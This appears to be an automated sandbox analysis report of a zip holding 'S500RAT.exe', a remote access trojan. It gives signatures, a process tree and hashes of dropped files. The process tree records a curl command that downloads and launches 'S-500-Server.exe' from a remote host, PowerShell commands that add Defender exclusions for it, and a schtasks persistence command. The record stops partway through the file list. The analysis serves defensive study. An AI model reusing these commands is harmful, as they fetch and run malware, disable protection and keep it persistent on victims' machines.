Analysis

  • max time kernel
    284s
  • max time network
    291s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/07/2023, 15:28

General

  • Target

    asdfgdfdfdfdfdfdffgfdfg.zip

  • Size

    39.6MB

  • MD5

    26211232c4e9de64151d668d6fc5ab01

  • SHA1

    e2f0ee29f876b7822fa1f8337cd129f20c6df618

  • SHA256

    952fd48df104b9002c3f94e433a7a06024cfd86522f981e981c4f8cd1a2f2483

  • SHA512

    dbb47ed24b8ac4791cac5986022c835f29fccc01f493dcafe3e7ea8a7d1315d1f878d2264aa3c9aa62faf9fdf4533f3bfbd8f958efa48875349e8fa58e0cd4b4

  • SSDEEP

    786432:0Tr7fQKPYWxmcwSD6grWJhZ15YMZgUn4rQy5sxQjV9SrTW:0/7fQKQbSDfWhfQZ5s+BgrS

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • .NET Reactor proctector 35 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Obfuscated with Agile.Net obfuscator 2 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg.zip
    1⤵
      PID:3368
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:3192
      • C:\Program Files\7-Zip\7zG.exe
        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\" -spe -an -ai#7zMap27532:126:7zEvent20679
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:632
      • C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe
        "C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe"
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1012
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/PegasusOrganization
          2⤵
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:4112
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0xf8,0x12c,0x7ffdf0be46f8,0x7ffdf0be4708,0x7ffdf0be4718
            3⤵
              PID:3628
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
              3⤵
                PID:4024
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 /prefetch:3
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4932
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2880 /prefetch:8
                3⤵
                  PID:4068
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
                  3⤵
                    PID:3892
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3496 /prefetch:1
                    3⤵
                      PID:3220
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,3747448570497866738,2061590846417603244,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4800 /prefetch:1
                      3⤵
                        PID:3604
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c curl -L --silent https://s-500.netlify.app/userdata/files/S-500-Server.exe > "%TEMP%\S-500-Server.exe" & start /min "" "%TEMP%\S-500-Server.exe"
                      2⤵
                        PID:3380
                        • C:\Windows\system32\curl.exe
                          curl -L --silent https://s-500.netlify.app/userdata/files/S-500-Server.exe
                          3⤵
                            PID:2256
                          • C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe
                            "C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe"
                            3⤵
                            • Checks computer location settings
                            • Drops startup file
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2288
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3752
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'S-500-Server.exe'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2348
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\S-500-Server.exe'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1068
                            • C:\Windows\SysWOW64\schtasks.exe
                              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "S-500-Server" /tr "C:\Users\Admin\AppData\Roaming\S-500-Server.exe"
                              4⤵
                              • Creates scheduled task(s)
                              PID:5104
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:3764
                        • C:\Windows\system32\wbem\WmiApSrv.exe
                          C:\Windows\system32\wbem\WmiApSrv.exe
                          1⤵
                            PID:4040
                          • C:\Users\Admin\AppData\Roaming\S-500-Server.exe
                            C:\Users\Admin\AppData\Roaming\S-500-Server.exe
                            1⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:232
                          • C:\Users\Admin\AppData\Roaming\S-500-Server.exe
                            C:\Users\Admin\AppData\Roaming\S-500-Server.exe
                            1⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3928
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe"
                            1⤵
                              PID:2412
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe"
                                2⤵
                                • Checks processor information in registry
                                • Modifies registry class
                                • NTFS ADS
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                • Suspicious use of SetWindowsHookEx
                                PID:3220
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.0.1269759615\827730170" -parentBuildID 20221007134813 -prefsHandle 1840 -prefMapHandle 1832 -prefsLen 20860 -prefMapSize 232645 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d0ddfab-3dea-4a8b-8da6-bb8afbee6647} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 1916 29db9cdc858 gpu
                                  3⤵
                                    PID:2740
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.1.1592327850\744575629" -parentBuildID 20221007134813 -prefsHandle 2304 -prefMapHandle 2292 -prefsLen 20896 -prefMapSize 232645 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b68fe7e-d089-4c61-807c-da25d4e1d134} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 2316 29dad272e58 socket
                                    3⤵
                                      PID:1396
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.2.503542242\803791987" -childID 1 -isForBrowser -prefsHandle 3164 -prefMapHandle 3160 -prefsLen 20999 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34f17e44-4fbf-4f2c-9de0-d1d8797d392f} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 3176 29dbdad7d58 tab
                                      3⤵
                                        PID:216
                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.3.1733440371\286753938" -childID 2 -isForBrowser -prefsHandle 3588 -prefMapHandle 3584 -prefsLen 26359 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d7d5ff59-661f-49bf-8aa5-29db027a9b95} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 3596 29dbc545458 tab
                                        3⤵
                                          PID:4220
                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.4.2036651586\2072391340" -childID 3 -isForBrowser -prefsHandle 4772 -prefMapHandle 4768 -prefsLen 26418 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ba8b9506-cda5-4803-ab37-0da084a11c44} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 4780 29dbf642558 tab
                                          3⤵
                                            PID:1860
                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.5.1875400083\1569612474" -childID 4 -isForBrowser -prefsHandle 4432 -prefMapHandle 2748 -prefsLen 26418 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c3dac67-44c1-4e50-9e17-26458e9ae70b} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 4772 29dbff0b558 tab
                                            3⤵
                                              PID:4116
                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.6.1472549078\407935901" -childID 5 -isForBrowser -prefsHandle 5332 -prefMapHandle 5328 -prefsLen 26418 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0a89144f-b4cc-4a17-a915-1cef4f25ec4f} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 5340 29dbff0e258 tab
                                              3⤵
                                                PID:4480
                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3220.7.1360667506\835572904" -childID 6 -isForBrowser -prefsHandle 5440 -prefMapHandle 5444 -prefsLen 26418 -prefMapSize 232645 -jsInitHandle 1380 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {085dd957-606f-40cb-b9b9-15c1c613e68f} 3220 "\\.\pipe\gecko-crash-server-pipe.3220" 5432 29dbff0d358 tab
                                                3⤵
                                                  PID:1416
                                            • C:\Windows\system32\taskmgr.exe
                                              "C:\Windows\system32\taskmgr.exe" /4
                                              1⤵
                                              • Checks SCSI registry key(s)
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious behavior: GetForegroundWindowSpam
                                              • Suspicious use of AdjustPrivilegeToken
                                              • Suspicious use of FindShellTrayWindow
                                              • Suspicious use of SendNotifyMessage
                                              PID:1580
                                            • C:\Users\Admin\AppData\Roaming\S-500-Server.exe
                                              C:\Users\Admin\AppData\Roaming\S-500-Server.exe
                                              1⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:3124

                                            Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\S-500-Server.exe.log

                                                    Filesize

                                                    418B

                                                    MD5

                                                    98eea38457c9976c0ec48b5a70964041

                                                    SHA1

                                                    281ec6ada096be89ade13852ca86edfe42ffe3c1

                                                    SHA256

                                                    4a7455429d6f3c7390f97bc406d0bcc7d64ddff6bee5ffa9e88c5a75f806bfcf

                                                    SHA512

                                                    adb7bb4e1434d743932890aede4daa55c6e9f091415292775313dd172949fbd415f124c97e017a8204aab530b6184f196ab5cce005781b0853ffccc620f07530

                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                    Filesize

                                                    2KB

                                                    MD5

                                                    968cb9309758126772781b83adb8a28f

                                                    SHA1

                                                    8da30e71accf186b2ba11da1797cf67f8f78b47c

                                                    SHA256

                                                    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                                                    SHA512

                                                    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                    Filesize

                                                    152B

                                                    MD5

                                                    8411007bafe7b1182af1ad3a1809b4f8

                                                    SHA1

                                                    4a78ee0762aadd53accae8bb211b8b18dc602070

                                                    SHA256

                                                    1f274d0d144942d00e43fb94f9c27fc91c68dce50cd374ac6be4472b08215ca3

                                                    SHA512

                                                    909e2e33b7614cb8bbd14e0dfff1b7f98f4abbf735f88292546ce3bfa665e4cb5ee4418561004e56afc5dd30d21483b05f6358dad5624c0dc3ab1ba9a3be18eb

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                    Filesize

                                                    72B

                                                    MD5

                                                    5b6f7e3ae8fe9885d3b8c4a734988f9a

                                                    SHA1

                                                    a1e80adf089934fc84db4034b6b98533702f36e3

                                                    SHA256

                                                    e2ee820b0b623e63ba9d5583d30cdde1d954ebfba3fecd798c483407c6dea378

                                                    SHA512

                                                    c64761f7df00cc5e790b18458eb132a673d26f47a43a2cf0b562a8fd12c6a7c0ef8bb0867239f890c0e02e1244afcafb8db0db0fc92010d1eeaee59a8b0b0a1f

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                    Filesize

                                                    442B

                                                    MD5

                                                    4ced9c17fe7f36646ad9326b1c81521d

                                                    SHA1

                                                    9fe3474d01a6ec3fefbd67e29812d6a2d3914f41

                                                    SHA256

                                                    861e244a689e787d0aa571cbe2cd0c477e6258ada7212226dab96f581a5a2534

                                                    SHA512

                                                    d4356512f74fc8b6ef1f7faceab35aeee7bf639756fcd1a1c7688b7c8389880be4b445ca17e8e6fc63ecd0f5631b1e6db804bab5da282247d250866c3c287d2c

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                    Filesize

                                                    6KB

                                                    MD5

                                                    dfeec27283ac384bbab7a1318dbcfd24

                                                    SHA1

                                                    8a5c007b052c40a13e0e6195bb05d9bcc578a386

                                                    SHA256

                                                    21cfecf7b4a8303b51f7386d8a7db63fe85693686f2f3ddf7dfd61715cfbe9f8

                                                    SHA512

                                                    fb03ea99a980c4c443a538b926e80e458debf73f3a50d587b7e70ddfc5641c3ddf7ac55e3f432d315da02863f1171301e71c2adfc53142216db01b523be05b8a

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                    Filesize

                                                    5KB

                                                    MD5

                                                    a5a65c53b86c2dbec1096fe51d709875

                                                    SHA1

                                                    ada21fa69b3596194fce472f18c93f5dad94f61c

                                                    SHA256

                                                    2d87b6c17b46a44fecc0488d932c5896550dcae8fd033a651364aaf5b14a608f

                                                    SHA512

                                                    8e231c1ace8cd9f03f21528d950b201a0a383fd9ab73bc3165e69f40c8309baca78f55d665fdcc962811700503adf2b9ea07dbfae8400329725c9da28c2c9ccb

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

                                                    Filesize

                                                    24KB

                                                    MD5

                                                    4a6fc19a5fae3a523cc04ecb179fd12d

                                                    SHA1

                                                    be8ba2d26bb5c2a563b132900a4e6c383b63ed59

                                                    SHA256

                                                    bedbd54212dc789389294403a32e423c2a5a1ec4f23d0f592e64e433a18385f6

                                                    SHA512

                                                    f44ddb51ce932b981a0261dee2dd9d5781199381fdfb54783b75106a0916bfdfda092d34c9c40a8d8dfcdd04a066748729142ae984ea2771da97f528f7c6f868

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                    Filesize

                                                    12KB

                                                    MD5

                                                    394d744047b1f28cf8ef98584a88e000

                                                    SHA1

                                                    6deebcf5b081809fe7e1e8a2a88529a29597703d

                                                    SHA256

                                                    f6684f7bfb316eb18fa58a6e5b98efdd7745d9819c41986602ee6cabe1993431

                                                    SHA512

                                                    73f60746454a8654daa3e22af21430e34f0b1d7bf3a6893610322237787e8136d1ddf501fdce201d85bb1a1903ac4de88c2b8220697ab6399b00b3a23c221431

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

                                                    Filesize

                                                    264KB

                                                    MD5

                                                    f50f89a0a91564d0b8a211f8921aa7de

                                                    SHA1

                                                    112403a17dd69d5b9018b8cede023cb3b54eab7d

                                                    SHA256

                                                    b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                                    SHA512

                                                    bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                    Filesize

                                                    18KB

                                                    MD5

                                                    a18483e1d91121516aec0325c61fd5e4

                                                    SHA1

                                                    7b236344a7c80827c7675e48d8e07c5cae1bb18e

                                                    SHA256

                                                    5997b7baba0400aeda6e0a9cb87d1b93ce5bece999e325c5a49de153ae9268ef

                                                    SHA512

                                                    eee12f1a07786492b2ee09eb95ca5b70c332362d7823a9236843e01890ca2a06f9a3be7fa49ab33e4c49370b970756564e7bbc2b19ac30aad86b63e7c36d435a

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                    Filesize

                                                    18KB

                                                    MD5

                                                    10cc4b3cde590889856c37e82dfbd7ee

                                                    SHA1

                                                    fbcc194aec599f616f490ab3490d9c9ed2b2164d

                                                    SHA256

                                                    1605e3b9eb22b39e2ec2addd558d5517801f52c665a19f6f1db8789caedeb3ee

                                                    SHA512

                                                    b9c5eb073392cfff8d3b9738da7ce6b2963ebaadd003296799f9dd3c3daab9603da98d10cf936c615d932b35995e060e6e70031e7aa807bb7c8a1771aa7375b3

                                                  • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\46be7tph.default-release\activity-stream.discovery_stream.json.tmp

                                                    Filesize

                                                    153KB

                                                    MD5

                                                    e8417111c46f67689773e04ae10074ee

                                                    SHA1

                                                    a7e6d614ad2ed5ac571f111e4c5c110664480a76

                                                    SHA256

                                                    70fe2e46bb6fb6ee66a39ae380575466a96f0de163a32e29ef38545f1529b2e4

                                                    SHA512

                                                    ddc6b168c80504ba86f67b5dfeb32f7e17f1835123804891450c13e204cd3e8a1f502cc1e89c5d0c1183fc36aedb8c68b0a8848b8735f42c8f817c8fa7c29b65

                                                  • C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe

                                                    Filesize

                                                    354KB

                                                    MD5

                                                    73f13f003e8a295ba7049b98fcd685f3

                                                    SHA1

                                                    43f55faa61be0eaa1c5e5c25f48715ed38204998

                                                    SHA256

                                                    6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c

                                                    SHA512

                                                    99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

                                                  • C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe

                                                    Filesize

                                                    354KB

                                                    MD5

                                                    73f13f003e8a295ba7049b98fcd685f3

                                                    SHA1

                                                    43f55faa61be0eaa1c5e5c25f48715ed38204998

                                                    SHA256

                                                    6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c

                                                    SHA512

                                                    99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpjweko5.0yb.ps1

                                                    Filesize

                                                    60B

                                                    MD5

                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                    SHA1

                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                    SHA256

                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                    SHA512

                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                  • C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\Certificate\ServerCertificate.p12

                                                    Filesize

                                                    4KB

                                                    MD5

                                                    c60e527a85f285ddc66c2fcf160b1be7

                                                    SHA1

                                                    abcf2b6bffea9f0f30190783f6eae2434ef7a9a8

                                                    SHA256

                                                    35c46a9e9dc60a74a25572e743794a31fecd08672813d349a39f2d13b01e789f

                                                    SHA512

                                                    77a661544c2d7f2d8b870cdd503b806aea6de3a2b5aee19327c05aeef137a1df3661d249219fe73e7a300189c732efeb5d2004226c6e429fa024f1d3b1dec84e

                                                  • C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\Guna.UI2.dll

                                                    Filesize

                                                    1.9MB

                                                    MD5

                                                    0f07705bd42d86d77dab085c42775244

                                                    SHA1

                                                    7e4b5c367183f4753a8d610e353c458c3def3888

                                                    SHA256

                                                    cf9b66e11506fa431849350c0cb58430a71e5ec943d2db9ef1b2e2302f299443

                                                    SHA512

                                                    851b1a4c470ee7fe07ce5619c16fd391428585926c5b559694a9e445633ea51ec86c74a3bbf3bce39d943c4bf714dad2fd3c4a4d0703be2333541c79a2ee97f0

                                                  • C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe

                                                    Filesize

                                                    17.2MB

                                                    MD5

                                                    92f746f5a803d47d1f84b31b00048b1b

                                                    SHA1

                                                    b84f3403accb843eedeb36ca07656641361b7e2f

                                                    SHA256

                                                    7b520369fcd410440f9432bba4118316bc83647c8a23d157da2b71937d27eb40

                                                    SHA512

                                                    b977c9c55c68d5c0fa6ca88bc6497f0facfc0dd6ec1c2fbca69b8444450ade6ab2ef2b4286763b589d7581a625b3e27440a608fbb3d1d9723ca01f0cd7664867

                                                  • C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\S500RAT.exe

                                                    Filesize

                                                    17.2MB

                                                    MD5

                                                    92f746f5a803d47d1f84b31b00048b1b

                                                    SHA1

                                                    b84f3403accb843eedeb36ca07656641361b7e2f

                                                    SHA256

                                                    7b520369fcd410440f9432bba4118316bc83647c8a23d157da2b71937d27eb40

                                                    SHA512

                                                    b977c9c55c68d5c0fa6ca88bc6497f0facfc0dd6ec1c2fbca69b8444450ade6ab2ef2b4286763b589d7581a625b3e27440a608fbb3d1d9723ca01f0cd7664867

                                                  • C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\SunnyUI.Common.dll

                                                    Filesize

                                                    221KB

                                                    MD5

                                                    17cbdd9e4cb0ede2fad8c08c05fdaa84

                                                    SHA1

                                                    74bc0ea3e8bd64c6752b6c0adac1bfe2b313416c

                                                    SHA256

                                                    d975bc4711655e6fd2361ae9b056c617051f616ced5b46ce7772255a85712441

                                                    SHA512

                                                    1948c20585ecb9984cd9452a74bcb75e81c35ca37f0cf0e1d3f211ad71b9e40c215f4784af7803cec9baef9984f682a32817a85806aefad21830b13b6a0a6a4a

                                                  • C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\SunnyUI.dll

                                                    Filesize

                                                    2.2MB

                                                    MD5

                                                    af527b22b92a23c38a492c5961cf2643

                                                    SHA1

                                                    15106adfa13415287b3e9d8deba21df53cb92eda

                                                    SHA256

